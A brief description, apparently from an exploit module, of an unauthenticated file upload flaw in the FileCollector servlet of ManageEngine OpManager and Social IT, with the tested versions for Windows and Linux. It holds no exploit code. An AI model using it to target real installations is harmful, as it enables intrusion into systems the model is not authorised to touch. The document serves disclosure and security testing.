        This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT.
        The vulnerability exists in the FileCollector servlet which accepts unauthenticated
        file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on
        version 11.0 of SocialIT for Windows and Linux.
